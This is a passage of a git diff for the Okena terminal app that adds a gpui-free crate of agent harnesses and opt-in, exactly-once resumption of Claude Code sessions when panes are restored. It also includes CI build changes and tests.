diff --git a/.github/workflows/build.yml b/.github/workflows/build.yml
index 4ce5b961b..e2697e586 100644
--- a/.github/workflows/build.yml
+++ b/.github/workflows/build.yml
@@ -170,8 +170,17 @@ jobs:
       - name: Build web client
         run: cd web && bun install --frozen-lockfile && bun run build
 
-      - name: Build
-        run: cargo build --release --target ${{ matrix.target }} -p okena -p okena-daemon
+      # Two invocations on purpose. Cargo unifies features across every package
+      # selected in ONE invocation, so `-p okena -p okena-daemon` together would
+      # turn on `okena-workspace/gpui` (which `okena` needs) for the daemon's
+      # copy too — linking gpui and its X11/Wayland/Vulkan chain into the very
+      # binary the GPUI-free gate exists to keep clean. The gate runs
+      # `cargo tree -p okena-daemon` alone, so it would not see it.
+      - name: Build app
+        run: cargo build --release --target ${{ matrix.target }} -p okena
+
+      - name: Build daemon (separate resolution — keeps it GPUI-free)
+        run: cargo build --release --target ${{ matrix.target }} -p okena-daemon
 
       - name: Prepare artifact (Linux)
         if: runner.os == 'Linux'
diff --git a/Cargo.lock b/Cargo.lock
index 0bd28e475..c7ec6c8f1 100644
--- a/Cargo.lock
+++ b/Cargo.lock
@@ -5994,6 +5994,7 @@ dependencies = [
  "gpui_platform",
  "log",
  "mimalloc",
+ "okena-agent-harnesses",
  "okena-app",
  "okena-cli",
  "okena-core",
@@ -6016,6 +6017,14 @@ dependencies = [
  "winresource",
 ]
 
+[[package]]
+name = "okena-agent-harnesses"
+version = "0.27.0"
+dependencies = [
+ "log",
+ "okena-core",
+]
+
 [[package]]
 name = "okena-app"
 version = "0.27.0"
@@ -6122,6 +6131,7 @@ dependencies = [
  "anyhow",
  "env_logger",
  "log",
+ "okena-agent-harnesses",
  "okena-core",
  "okena-daemon-core",
  "okena-remote-server",
diff --git a/Cargo.toml b/Cargo.toml
index 7e73f95e6..a10441c54 100644
--- a/Cargo.toml
+++ b/Cargo.toml
@@ -1,5 +1,5 @@
 [workspace]
-members = [".", "crates/okena-mobile-ffi", "crates/okena-core", "crates/okena-transport", "crates/okena-git", "crates/okena-views-git", "crates/okena-views-services", "crates/okena-views-sidebar", "crates/okena-views-terminal", "crates/okena-terminal", "crates/okena-layout", "crates/okena-state", "crates/okena-hooks", "crates/okena-workspace", "crates/okena-ui", "crates/okena-usage", "crates/okena-files", "crates/okena-markdown", "crates/okena-extensions", "crates/okena-ext-claude", "crates/okena-ext-codex", "crates/okena-ext-github", "crates/okena-ext-updater", "crates/okena-services", "crates/okena-remote-client", "crates/okena-remote-server", "crates/okena-views-remote", "crates/okena-theme", "crates/okena-cli", "crates/okena-app-core", "crates/okena-app", "crates/okena-daemon-core", "crates/okena-daemon", "crates/okena-tui"]
+members = [".", "crates/okena-mobile-ffi", "crates/okena-core", "crates/okena-transport", "crates/okena-git", "crates/okena-views-git", "crates/okena-views-services", "crates/okena-views-sidebar", "crates/okena-views-terminal", "crates/okena-terminal", "crates/okena-layout", "crates/okena-state", "crates/okena-hooks", "crates/okena-workspace", "crates/okena-ui", "crates/okena-usage", "crates/okena-files", "crates/okena-markdown", "crates/okena-extensions", "crates/okena-ext-claude", "crates/okena-ext-codex", "crates/okena-ext-github", "crates/okena-ext-updater", "crates/okena-services", "crates/okena-remote-client", "crates/okena-remote-server", "crates/okena-views-remote", "crates/okena-theme", "crates/okena-cli", "crates/okena-app-core", "crates/okena-app", "crates/okena-daemon-core", "crates/okena-daemon", "crates/okena-tui", "crates/okena-agent-harnesses"]
 resolver = "2"
 
 [workspace.package]
@@ -35,6 +35,10 @@ okena-ui = { path = "crates/okena-ui" }
 okena-remote-server = { path = "crates/okena-remote-server" }
 okena-daemon-core = { path = "crates/okena-daemon-core" }
 
+# Built-in agent harnesses (resume argv per agent id), installed at startup.
+# gpui-free on purpose so the standalone daemon binary links the same ones.
+okena-agent-harnesses = { path = "crates/okena-agent-harnesses" }
+
 # Extension system — registered at startup in main.rs.
 okena-extensions = { path = "crates/okena-extensions" }
 okena-ext-claude = { path = "crates/okena-ext-claude" }
diff --git a/README.md b/README.md
index 3036d19d5..e4e51900b 100644
--- a/README.md
+++ b/README.md
@@ -190,6 +190,7 @@ Settings are stored in the platform's config directory (macOS: `~/Library/Applic
 | Guide | Description |
 |-------|-------------|
 | [Configuration](docs/configuration.md) | Settings, keybindings, custom themes, per-project overrides |
+| [Agent Status](docs/agent-status.md) | OSC 9001 agent lifecycle, the Claude Code plugin, session resume |
 | [Lifecycle Hooks](docs/hooks.md) | Hook terminals, git hooks, environment variables |
 | [Project Services](docs/services.md) | okena.yaml, Docker Compose integration, auto-restart |
 | [Git Worktrees](docs/worktrees.md) | Worktree management, sync watcher, path templates |
diff --git a/crates/okena-agent-harnesses/Cargo.toml b/crates/okena-agent-harnesses/Cargo.toml
new file mode 100644
index 000000000..e659b2629
--- /dev/null
+++ b/crates/okena-agent-harnesses/Cargo.toml
@@ -0,0 +1,13 @@
+[package]
+name = "okena-agent-harnesses"
+version.workspace = true
+edition = "2024"
+license = "MIT"
+
+# Deliberately minimal, and deliberately GPUI-free: this crate is linked by the
+# standalone `okena-daemon` binary, which CI gates against any gpui in its
+# dependency tree. Keep it that way — anything needing a UI belongs in the
+# matching `okena-ext-*` crate instead.
+[dependencies]
+okena-core = { path = "../okena-core" }
+log = "0.4"
diff --git a/crates/okena-agent-harnesses/src/lib.rs b/crates/okena-agent-harnesses/src/lib.rs
new file mode 100644
index 000000000..baad5b2ef
--- /dev/null
+++ b/crates/okena-agent-harnesses/src/lib.rs
@@ -0,0 +1,130 @@
+//! The built-in [`AgentHarness`] implementations, and the one place they are
+//! installed into the process-wide registry.
+//!
+//! # Why these don't live in the `okena-ext-*` crates
+//!
+//! They used to. A harness is dispatched by the `agent` id a pane reports over
+//! `OSC 9001`, and the natural home looked like the matching extension crate —
+//! `okena-ext-claude` for `"claude-code"`, and so on. But those crates depend on
+//! `gpui` (they also ship status-bar widgets and a settings view), and the
+//! standalone `okena-daemon` binary is CI-gated to be **GPUI-free**. It
+//! therefore could not link them, could not install the registry, and its
+//! `for_agent()` lookups all returned `None` — auto-resume was a silent no-op in
+//! exactly the deployment that owns restore.
+//!
+//! A harness is pure data — an id and a fixed argv — so it costs nothing to keep
+//! it out of the UI crates. This crate is that home: gpui-free, linked by both
+//! the desktop binary and the daemon binary, so both resolve the same harnesses.
+//!
+//! Adding a harness stays additive: implement [`AgentHarness`] here and register
+//! it in [`build_registry`].
+//!
+//! # Relationship to the extension toggle
+//!
+//! Registration here is **not** gated on the `okena-extensions` enable/disable
+//! toggle that `okena-ext-claude` / `okena-ext-codex` carry. That toggle governs
+//! their GPUI status-bar widgets and settings view, and it lives behind a GPUI
+//! global the daemon cannot read. Resume has its own opt-in — the
+//! `auto_resume_agent_sessions` setting, read daemon-side — which is the gate
+//! that actually applies to it.
+
+use okena_core::agent_harness::{AgentHarness, AgentHarnessRegistry};
+use std::path::Path;
+use std::sync::Arc;
+
+/// Claude Code (`claude` CLI). Agent id `"claude-code"` — matches the extension
+/// id and the `OKENA_AGENT` the bundled lifecycle plugin sets.
+pub struct ClaudeHarness;
+
+impl AgentHarness for ClaudeHarness {
+    fn id(&self) -> &str {
+        "claude-code"
+    }
+
+    fn resume_command(&self, session_id: &str, _cwd: &Path) -> Option<Vec<String>> {
+        // `claude --resume <id>` resumes a specific conversation. Claude scopes
+        // session lookup to the cwd it runs in, which is exactly the pane's
+        // restored working directory — so cwd needs no special handling here.
+        // `session_id` is already UUID-validated upstream and is passed as a
+        // distinct argv element (never shell-interpolated).
+        Some(vec![
+            "claude".to_string(),
+            "--resume".to_string(),
+            session_id.to_string(),
+        ])
+    }
+}
+
+/// Codex (`codex` CLI). Agent id `"codex"` — matches the extension id.
+///
+/// Registration-only for now: the resume invocation is unconfirmed, so this
+/// declines rather than guessing. `okena-ext-codex` already parses
+/// `~/.codex/sessions/**.jsonl`, which is where `transcript_stats` would come
+/// from once there is a view that consumes it.
+pub struct CodexHarness;
+
+impl AgentHarness for CodexHarness {
+    fn id(&self) -> &str {
+        "codex"
+    }
+
+    fn resume_command(&self, _session_id: &str, _cwd: &Path) -> Option<Vec<String>> {
+        // TODO: confirm Codex's resume CLI invocation before enabling
+        // auto-resume for Codex. `None` = no auto-resume yet (graceful — the
+        // session is still captured, persisted, and shown).
+        None
+    }
+}
+
+/// Build the registry of built-in harnesses.
+pub fn build_registry() -> AgentHarnessRegistry {
+    let mut registry = AgentHarnessRegistry::new();
+    registry.register(Arc::new(ClaudeHarness));
+    registry.register(Arc::new(CodexHarness));
+    registry
+}
+
+/// Install the built-in harnesses process-wide.
+///
+/// Call once during startup, from every binary that can reach a restore path:
+/// the desktop app, `okena --headless`, and the standalone `okena-daemon`.
+/// Missing the call is not a compile error — it just makes every resume lookup
+/// return `None` — which is why [`okena_core::agent_harness::init`] logs when a
+/// second install is ignored.
+pub fn install() {
+    okena_core::agent_harness::init(build_registry());
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    const UUID: &str = "3b9c1f2a-4d5e-6f70-8a9b-0c1d2e3f4a5b";
+
+    #[test]
+    fn claude_resumes_with_a_fixed_argv() {
+        assert_eq!(ClaudeHarness.id(), "claude-code");
+        assert_eq!(
+            ClaudeHarness.resume_command(UUID, Path::new("/proj")),
+            Some(vec![
+                "claude".to_string(),
+                "--resume".to_string(),
+                UUID.to_string(),
+            ])
+        );
+    }
+
+    #[test]
+    fn codex_declines_until_its_invocation_is_confirmed() {
+        assert_eq!(CodexHarness.id(), "codex");
+        assert_eq!(CodexHarness.resume_command(UUID, Path::new("/proj")), None);
+    }
+
+    #[test]
+    fn the_registry_resolves_every_built_in_id() {
+        let registry = build_registry();
+        assert!(registry.get("claude-code").is_some());
+        assert!(registry.get("codex").is_some());
+        assert!(registry.get("nope").is_none());
+    }
+}
diff --git a/crates/okena-app-core/src/remote_snapshot.rs b/crates/okena-app-core/src/remote_snapshot.rs
index 9d8a53f1d..25c212c26 100644
--- a/crates/okena-app-core/src/remote_snapshot.rs
+++ b/crates/okena-app-core/src/remote_snapshot.rs
@@ -3,8 +3,8 @@
 //! Both remote command loops answer `RemoteCommand::GetState` by projecting the
 //! same [`WorkspaceData`] onto the same wire DTOs:
 //!
-//! * GUI: `okena-app`'s `app/remote_commands.rs` `remote_command_loop`
-//!   (reads an `Entity<Workspace>` / `Entity<ServiceManager>`).
+//! * GUI: the daemon client command loop (reads an `Entity<Workspace>` /
+//!   `Entity<ServiceManager>`).
 //! * Headless: `okena-daemon-core`'s `command_loop.rs` `daemon_command_loop`
 //!   (reads `Arc<Mutex<Workspace>>` / `Arc<Mutex<ServiceManager>>`).
 //!
@@ -42,12 +42,14 @@ pub fn api_project_visibility(project_id: &str, hidden_project_ids: &HashSet<Str
 ///   caller's `ServiceManager`; absent ⇒ no services).
 /// * `hidden_project_ids` — per-window hidden set driving `show_in_overview`.
 /// * `size_map` — terminal id → `(cols, rows)` for `layout.to_api_with_sizes`.
+/// * `agent_statuses` — terminal id → current runtime-only agent status.
 pub fn build_api_project(
     p: &ProjectData,
     git_statuses: &HashMap<String, ApiGitStatus>,
     services_by_project: &HashMap<String, Vec<ApiServiceInfo>>,
     hidden_project_ids: &HashSet<String>,
     size_map: &HashMap<String, (u16, u16)>,
+    agent_statuses: &HashMap<String, okena_core::agent_status::AgentStatus>,
 ) -> ApiProject {
     ApiProject {
         id: p.id.clone(),
@@ -56,6 +58,21 @@ pub fn build_api_project(
         show_in_overview: api_project_visibility(&p.id, hidden_project_ids),
         layout: p.layout.as_ref().map(|l| l.to_api_with_sizes(size_map)),
         terminal_names: p.terminal_names.clone(),
+        terminal_agent_status: p
+            .layout
+            .as_ref()
+            .map(|layout| {
+                layout
+                    .collect_terminal_ids()
+                    .into_iter()
+                    .filter_map(|terminal_id| {
+                        agent_statuses
+                            .get(&terminal_id)
+                            .map(|status| (terminal_id, status.clone()))
+                    })
+                    .collect()
+            })
+            .unwrap_or_default(),
         git_status: git_statuses.get(&p.id).cloned(),
         folder_color: p.folder_color,
         services: services_by_project.get(&p.id).cloned().unwrap_or_default(),
@@ -91,6 +108,7 @@ pub fn build_api_projects(
     services_by_project: &HashMap<String, Vec<ApiServiceInfo>>,
     hidden_project_ids: &HashSet<String>,
     size_map: &HashMap<String, (u16, u16)>,
+    agent_statuses: &HashMap<String, okena_core::agent_status::AgentStatus>,
 ) -> Vec<ApiProject> {
     let project_map: HashMap<&str, &ProjectData> =
         data.projects.iter().map(|p| (p.id.as_str(), p)).collect();
@@ -105,6 +123,7 @@ pub fn build_api_projects(
             services_by_project,
             hidden_project_ids,
             size_map,
+            agent_statuses,
         ));
     };
 
@@ -162,6 +181,7 @@ pub fn build_state_response(
     services_by_project: &HashMap<String, Vec<ApiServiceInfo>>,
     hidden_project_ids: &HashSet<String>,
     size_map: &HashMap<String, (u16, u16)>,
+    agent_statuses: &HashMap<String, okena_core::agent_status::AgentStatus>,
     windows: Vec<ApiWindow>,
     hooks: Vec<ApiHookExecution>,
 ) -> StateResponse {
@@ -171,6 +191,7 @@ pub fn build_state_response(
         services_by_project,
         hidden_project_ids,
         size_map,
+        agent_statuses,
     );
     let folders = build_folders(&data.folders);
 
diff --git a/crates/okena-app-core/src/settings.rs b/crates/okena-app-core/src/settings.rs
index 70b4f6050..3cb2a5f93 100644
--- a/crates/okena-app-core/src/settings.rs
+++ b/crates/okena-app-core/src/settings.rs
@@ -146,6 +146,11 @@ impl SettingsState {
         self.save_and_notify(cx);
     }
     setting_setter!(set_show_shell_selector, show_shell_selector, bool);
+    setting_setter!(
+        set_auto_resume_agent_sessions,
+        auto_resume_agent_sessions,
+        bool
+    );
     setting_setter!(
         set_terminal_ctrl_c_copies_selection,
         terminal_ctrl_c_copies_selection,
diff --git a/crates/okena-app-core/src/workspace/actions/execute/mod.rs b/crates/okena-app-core/src/workspace/actions/execute/mod.rs
index 50c74f534..4aa7ed4ed 100644
--- a/crates/okena-app-core/src/workspace/actions/execute/mod.rs
+++ b/crates/okena-app-core/src/workspace/actions/execute/mod.rs
@@ -630,10 +630,21 @@ fn effective_terminal_launch(
     global_default_shell: &ShellType,
     shell_wrapper: Option<&str>,
     on_create: Option<&str>,
+    // Command to run after `on_create`, currently only an agent-session resume.
+    // Composed into the same shell line so the pane still hands off to an
+    // interactive shell once it exits.
+    startup_command: Option<&str>,
     env: &HashMap<String, String>,
 ) -> TerminalLaunchPlan {
     let shell = shell_type.resolve_default(project_default_shell, global_default_shell);
-    hooks::terminal_launch_plan(shell, shell_wrapper, on_create, env)
+    let composed = match (on_create, startup_command) {
+        (Some(hook), Some(command)) => Some(format!(
+            "{hook}{}{command}",
+            hooks::startup_command_separator(&shell)
+        )),
+        (hook, command) => hook.or(command).map(str::to_string),
+    };
+    hooks::terminal_launch_plan(shell, shell_wrapper, composed.as_deref(), env)
 }
 
 /// Reserve IDs and launch plans for runtime-recovery slots without touching the backend.
@@ -695,6 +706,9 @@ pub fn reserve_uninitialized_terminal_launches(
                     &settings.default_shell,
                     shell_wrapper.as_deref(),
                     on_create.as_deref(),
+                    // Recovery re-launches panes that already hold live ids, so
+                    // no restore-time resume is queued for them.
+                    None,
                     &env,
                 ),
             ));
@@ -820,6 +834,7 @@ pub fn spawn_uninitialized_terminals(
 
     let global_default = settings.default_shell.clone();
     let global_hooks = settings.hooks.clone();
+    let auto_resume = settings.auto_resume_agent_sessions;
 
     // Resolve shell_wrapper and on_create once for all terminals in this project
     let shell_wrapper =
@@ -843,18 +858,39 @@ pub fn spawn_uninitialized_terminals(
 
     let mut spawned_ids = Vec::new();
     for (path, shell_type) in uninitialized {
+        // Claim the agent session this pane carried before the restart, if any.
+        // Taking it makes the resume exactly-once; the session is then re-keyed
+        // onto the new terminal id below so the pane keeps its identity whether
+        // or not we actually resumed.
+        let pending_session = ws.take_pending_agent_resume(project_id, &path);
+        let resume_command = pending_session
+            .as_ref()
+            .filter(|_| auto_resume)
+            .and_then(|session| {
+                okena_core::agent_harness::resume_command_line(
+                    session,
+                    std::path::Path::new(&spawn_cwd),
+                )
+            });
+        if let Some(ref command) = resume_command {
+            log::info!("agent-resume: project={project_id} path={path:?} command={command}");
+        }
         let plan = effective_terminal_launch(
             shell_type,
             project_default_shell.as_ref(),
             &global_default,
             shell_wrapper.as_deref(),
             on_create_cmd.as_deref(),
+            resume_command.as_deref(),
             &env,
         );
 
         match backend.create_terminal_with_plan(&spawn_cwd, &plan) {
             Ok(terminal_id) => {
                 ws.set_terminal_id(project_id, &path, terminal_id.clone(), cx);
+                if let Some(session) = pending_session {
+                    ws.set_agent_session(project_id, &terminal_id, session, cx);
+                }
                 let terminal = Arc::new(Terminal::new(
                     terminal_id.clone(),
                     TerminalSize::default(),
@@ -1086,10 +1122,10 @@ mod reconnect_shell_tests {
     }
 
     #[derive(Default)]
-    struct RecordingBackend {
+    pub(super) struct RecordingBackend {
         created_shells: Mutex<Vec<Option<ShellType>>>,
         reconnected_shells: Mutex<Vec<Option<ShellType>>>,
-        plans: Mutex<Vec<TerminalLaunchPlan>>,
+        pub(super) plans: Mutex<Vec<TerminalLaunchPlan>>,
     }
 
     impl TerminalBackend for RecordingBackend {
@@ -1170,7 +1206,7 @@ mod reconnect_shell_tests {
         }
     }
 
-    struct TestCx;
+    pub(super) struct TestCx;
 
     impl WorkspaceCx for TestCx {
         fn notify(&mut self) {}
@@ -1183,10 +1219,13 @@ mod reconnect_shell_tests {
         }
     }
 
-    fn workspace_with_terminal(
+    pub(super) fn workspace_with_terminal(
         shell_type: ShellType,
         default_shell: Option<ShellType>,
         terminal_id: Option<&str>,
+        // Sessions queued for the root pane, as `validate_workspace_data` would
+        // leave them after a restore that cleared terminal ids.
+        pending_agent_resumes: HashMap<Vec<usize>, okena_core::agent_session::AgentSession>,
     ) -> Workspace {
         let project = ProjectData {
             id: "project".into(),
@@ -1208,6 +1247,8 @@ mod reconnect_shell_tests {
             is_remote: false,
             connection_id: None,
             service_terminals: HashMap::new(),
+            agent_sessions: HashMap::new(),
+            pending_agent_resumes,
             default_shell,
             hook_terminals: HashMap::new(),
             pinned: false,
@@ -1228,7 +1269,7 @@ mod reconnect_shell_tests {
     }
 
     fn workspace(shell_type: ShellType, default_shell: Option<ShellType>) -> Workspace {
-        workspace_with_terminal(shell_type, default_shell, Some("terminal"))
+        workspace_with_terminal(shell_type, default_shell, Some("terminal"), HashMap::new())
     }
 
     #[test]
@@ -1295,7 +1336,7 @@ mod reconnect_shell_tests {
 
     #[test]
     fn failed_reservation_does_not_clear_a_replacement_terminal_id() {
-        let mut ws = workspace_with_terminal(ShellType::Default, None, None);
+        let mut ws = workspace_with_terminal(ShellType::Default, None, None, HashMap::new());
         let mut cx = TestCx;
         let launches = reserve_uninitialized_terminal_launches(
             &mut ws,
@@ -1326,7 +1367,7 @@ mod reconnect_shell_tests {
         let wsl = ShellType::Wsl {
             distro: Some("Ubuntu".into()),
         };
-        let mut create_ws = workspace_with_terminal(ShellType::Default, None, None);
+        let mut create_ws = workspace_with_terminal(ShellType::Default, None, None, HashMap::new());
         let create_terminals: TerminalsRegistry = Arc::new(Default::default());
         let backend = RecordingBackend::default();
         let mut settings = AppSettings::default();
@@ -1365,3 +1406,245 @@ mod reconnect_shell_tests {
         assert!(plans[1].initial_command.is_none());
     }
 }
+
+/// Restore-time agent-session resume.
+///
+/// The daemon owns this: `validate_workspace_data` re-keys a surviving session
+/// onto its pane's layout path, and `spawn_uninitialized_terminals` consumes it
+/// as the pane's startup command while assigning the new terminal id.
+#[cfg(test)]
+mod agent_resume_tests {
+    use super::reconnect_shell_tests::{RecordingBackend, TestCx, workspace_with_terminal};
+    use super::{AppSettings, spawn_uninitialized_terminals};
+    use okena_core::agent_harness::{AgentHarness, AgentHarnessRegistry};
+    use okena_core::agent_session::AgentSession;
+    use okena_terminal::TerminalsRegistry;
+    use okena_terminal::shell_config::ShellType;
+    use std::collections::HashMap;
+    use std::path::Path;
+    use std::sync::Arc;
+
+    const UUID: &str = "3b9c1f2a-4d5e-6f70-8a9b-0c1d2e3f4a5b";
+
+    struct StubHarness;
+
+    impl AgentHarness for StubHarness {
+        fn id(&self) -> &str {
+            "test-agent"
+        }
+        fn resume_command(&self, session_id: &str, _cwd: &Path) -> Option<Vec<String>> {
+            Some(vec![
+                "test-agent".to_string(),
+                "--resume".to_string(),
+                session_id.to_string(),
+            ])
+        }
+    }
+
+    /// The harness registry is a process-wide `OnceLock` (first write wins), so
+    /// every test in this binary shares this one stub.
+    fn stub_registry() {
+        static ONCE: std::sync::Once = std::sync::Once::new();
+        ONCE.call_once(|| {
+            let mut registry = AgentHarnessRegistry::new();
+            registry.register(Arc::new(StubHarness));
+            okena_core::agent_harness::init(registry);
+        });
+    }
+
+    fn session(agent: &str) -> AgentSession {
+        AgentSession {
+            agent: agent.to_string(),
+            session_id: UUID.to_string(),
+            transcript_path: None,
+        }
+    }
+
+    fn settings(auto_resume: bool) -> AppSettings {
+        let mut settings = AppSettings::default();
+        settings.auto_resume_agent_sessions = auto_resume;
+        settings
+    }
+
+    /// Spawn the single root pane and return (startup command args, workspace).
+    fn spawn(
+        pending: Option<AgentSession>,
+        auto_resume: bool,
+    ) -> (Option<Vec<String>>, crate::workspace::state::Workspace) {
+        stub_registry();
+        let pending = pending
+            .map(|s| HashMap::from([(Vec::new(), s)]))
+            .unwrap_or_default();
+        let mut ws = workspace_with_terminal(ShellType::Default, None, None, pending);
+        let terminals: TerminalsRegistry = Arc::new(Default::default());
+        let backend = RecordingBackend::default();
+
+        spawn_uninitialized_terminals(
+            &mut ws,
+            "project",
+            &backend,
+            &terminals,
+            &settings(auto_resume),
+            None,
+            &mut TestCx,
+        );
+
+        let plans = backend.plans.lock().expect("plan lock");
+        let args = plans
+            .first()
+            .and_then(|p| p.initial_command.as_ref())
+            .map(|c| c.args.clone());
+        drop(plans);
+        (args, ws)
+    }
+
+    #[test]
+    fn restored_pane_resumes_its_session_as_a_startup_command() {
+        let (args, _ws) = spawn(Some(session("test-agent")), true);
+
+        let args = args.expect("resume must reach the launch plan, not the attached PTY");
+        assert!(
+            args.iter()
+                .any(|a| a.contains(&format!("test-agent --resume {UUID}"))),
+            "resume command missing from {args:?}"
+        );
+        // The pane keeps a shell after the agent exits.
+        assert!(
+            args.iter().any(|a| a.contains("exec")),
+            "startup command must hand off to a shell: {args:?}"
+        );
+    }
+
+    #[test]
+    fn the_session_is_rekeyed_onto_the_new_terminal_id_and_consumed() {
+        let (_, ws) = spawn(Some(session("test-agent")), true);
+
+        assert_eq!(
+            ws.agent_session("project", "terminal"),
+            Some(session("test-agent")),
+            "the restored pane must own the session under its new id"
+        );
+        assert!(
+            ws.project("project")
+                .expect("project")
+                .pending_agent_resumes
+                .is_empty(),
+            "a consumed resume must not fire again"
+        );
+    }
+
+    #[test]
+    fn resume_is_skipped_when_the_setting_is_off_but_the_session_is_kept() {
+        let (args, ws) = spawn(Some(session("test-agent")), false);
+
+        assert_eq!(args, None, "opt-in setting must gate the resume");
+        assert_eq!(
+            ws.agent_session("project", "terminal"),
+            Some(session("test-agent")),
+            "the session identity survives even when we don't auto-run it"
+        );
+    }
+
+    #[test]
+    fn an_unknown_agent_is_stored_but_not_resumed() {
+        let (args, ws) = spawn(Some(session("no-such-harness")), true);
+
+        assert_eq!(args, None);
+        assert_eq!(
+            ws.agent_session("project", "terminal"),
+            Some(session("no-such-harness"))
+        );
+    }
+
+    #[test]
+    fn a_pane_with_no_captured_session_launches_plainly() {
+        let (args, ws) = spawn(None, true);
+
+        assert_eq!(args, None);
+        assert_eq!(ws.agent_session("project", "terminal"), None);
+    }
+
+    /// docs/agent-status.md promises the session is dropped on a hard close, a
+    /// finalized soft close, or a shell switch. Only the soft close was covered;
+    /// these three call sites had no test module at all, so dropping any of them
+    /// would leave orphans in workspace.json — and a pane respawned in the same
+    /// slot could inherit a stale id and be handed `claude --resume` for it.
+    fn workspace_with_live_session() -> (
+        crate::workspace::state::Workspace,
+        TerminalsRegistry,
+        RecordingBackend,
+    ) {
+        let mut ws = workspace_with_terminal(
+            ShellType::Default,
+            None,
+            Some("terminal"),
+            Default::default(),
+        );
+        ws.set_agent_session("project", "terminal", session("test-agent"), &mut TestCx);
+        assert!(ws.agent_session("project", "terminal").is_some());
+        (
+            ws,
+            Arc::new(Default::default()),
+            RecordingBackend::default(),
+        )
+    }
+
+    #[test]
+    fn closing_a_terminal_forgets_its_agent_session() {
+        let (mut ws, terminals, backend) = workspace_with_live_session();
+        let mut focus = okena_workspace::focus::FocusManager::new();
+
+        super::terminal::close(
+            &mut ws,
+            &mut focus,
+            "project".to_string(),
+            "terminal".to_string(),
+            &backend,
+            &terminals,
+            &mut TestCx,
+        );
+
+        assert_eq!(ws.agent_session("project", "terminal"), None);
+    }
+
+    #[test]
+    fn closing_many_terminals_forgets_their_agent_sessions() {
+        let (mut ws, terminals, backend) = workspace_with_live_session();
+        let mut focus = okena_workspace::focus::FocusManager::new();
+
+        super::terminal::close_many(
+            &mut ws,
+            &mut focus,
+            "project".to_string(),
+            vec!["terminal".to_string()],
+            &backend,
+            &terminals,
+            &mut TestCx,
+        );
+
+        assert_eq!(ws.agent_session("project", "terminal"), None);
+    }
+
+    #[test]
+    fn switching_shell_forgets_the_agent_session() {
+        // The pane keeps its slot, but the process behind it is gone — so the
+        // captured session no longer describes what runs there.
+        let (mut ws, terminals, backend) = workspace_with_live_session();
+
+        super::terminal::switch_shell(
+            &mut ws,
+            "project".to_string(),
+            "terminal".to_string(),
+            ShellType::Custom {
+                path: "/bin/zsh".to_string(),
+                args: Vec::new(),
+            },
+            &backend,
+            &terminals,
+            &settings(false),
+            &mut TestCx,
+        );
+
+        assert_eq!(ws.agent_session("project", "terminal"), None);
+    }
+}
diff --git a/crates/okena-app-core/src/workspace/actions/execute/project.rs b/crates/okena-app-core/src/workspace/actions/execute/project.rs
index 1bd4f0f7d..e88326aa9 100644
--- a/crates/okena-app-core/src/workspace/actions/execute/project.rs
+++ b/crates/okena-app-core/src/workspace/actions/execute/project.rs
@@ -744,6 +744,8 @@ mod hook_action_tests {
             is_remote: false,
             connection_id: None,
             service_terminals: HashMap::new(),
+            agent_sessions: HashMap::new(),
+            pending_agent_resumes: HashMap::new(),
             default_shell: None,
             hook_terminals,
             pinned: false,
@@ -1048,6 +1050,8 @@ mod set_show_in_overview_tests {
             is_remote: false,
             connection_id: None,
             service_terminals: HashMap::new(),
+            agent_sessions: Default::default(),
+            pending_agent_resumes: Default::default(),
             default_shell: None,
             hook_terminals: HashMap::new(),
             pinned: false,
diff --git a/crates/okena-app-core/src/workspace/actions/execute/session.rs b/crates/okena-app-core/src/workspace/actions/execute/session.rs
index a8040151f..5a24191d0 100644
--- a/crates/okena-app-core/src/workspace/actions/execute/session.rs
+++ b/crates/okena-app-core/src/workspace/actions/execute/session.rs
@@ -158,6 +158,11 @@ fn prepare_layout_terminals(
     shell_wrapper: Option<&str>,
     on_create: Option<&str>,
     env: &std::collections::HashMap<String, String>,
+    pending_agent_resumes: &mut std::collections::HashMap<
+        Vec<usize>,
+        okena_core::agent_session::AgentSession,
+    >,
+    agent_sessions: &mut std::collections::HashMap<String, okena_core::agent_session::AgentSession>,
     path: &mut Vec<usize>,
     launches: &mut Vec<PreparedTerminalLaunch>,
 ) {
@@ -171,6 +176,18 @@ fn prepare_layout_terminals(
             let id = terminal_id
                 .get_or_insert_with(|| uuid::Uuid::new_v4().to_string())
                 .clone();
+            // `validate_workspace_data` parks a surviving agent session under its
+            // pane's LAYOUT PATH, because the restore is about to clear the
+            // terminal id it was keyed by. Only `spawn_uninitialized_terminals`
+            // consumed those, so on this path (load-session / import-workspace)
+            // they were left behind entirely: the pane silently lost its agent
+            // identity, and the orphaned entry stayed in the map where a later
+            // split landing on the same path would inherit it — and, with
+            // auto-resume on, run `claude --resume` for someone else's session.
+            // Re-key it onto the id this pane just got instead.
+            if let Some(session) = pending_agent_resumes.remove(path.as_slice()) {
+                agent_sessions.insert(id.clone(), session);
+            }
             let launch_plan = if persisted {
                 TerminalLaunchPlan::for_shell(
                     shell_type
@@ -184,6 +201,12 @@ fn prepare_layout_terminals(
                     &settings.default_shell,
                     shell_wrapper,
                     on_create,
+                    // Restoring a saved session builds fresh panes: the session
+                    // identity is carried over above so the pane still shows it
+                    // and can be resumed by hand, but nothing is auto-launched
+                    // here — the user asked to open a session, not to re-run
+                    // whatever agent last lived in each pane.
+                    None,
                     env,
                 )
             };
@@ -207,6 +230,8 @@ fn prepare_layout_terminals(
                     shell_wrapper,
                     on_create,
                     env,
+                    pending_agent_resumes,
+                    agent_sessions,
                     path,
                     launches,
                 );
@@ -232,6 +257,9 @@ pub fn prepare_workspace_replacement(
             project
                 .hidden_terminals
                 .retain(|terminal_id, _| !stale.contains(terminal_id));
+            project
+                .agent_sessions
+                .retain(|terminal_id, _| !stale.contains(terminal_id));
             project.hook_terminals.clear();
         }
     }
@@ -274,10 +302,16 @@ pub fn prepare_workspace_replacement(
                 shell_wrapper.as_deref(),
                 on_create.as_deref(),
                 &env,
+                &mut project.pending_agent_resumes,
+                &mut project.agent_sessions,
                 &mut Vec::new(),
                 &mut ordinary,
             );
         }
+        // Whatever is left has no pane at its path any more. Dropping it is the
+        // point: a leftover entry would otherwise sit in the live workspace and
+        // be handed to an unrelated pane that later lands on that same path.
+        project.pending_agent_resumes.clear();
         if let Some(prepared) = okena_hooks::prepare_project_open_hook(
             uuid::Uuid::new_v4().to_string(),
             &project.hooks,
@@ -531,6 +565,7 @@ pub fn finish_workspace_replacement(
             if project.hook_terminals.remove(terminal_id).is_some() {
                 project.terminal_names.remove(terminal_id);
                 project.hidden_terminals.remove(terminal_id);
+                project.agent_sessions.remove(terminal_id);
                 break;
             }
         }
@@ -986,6 +1021,8 @@ mod tests {
             is_remote: false,
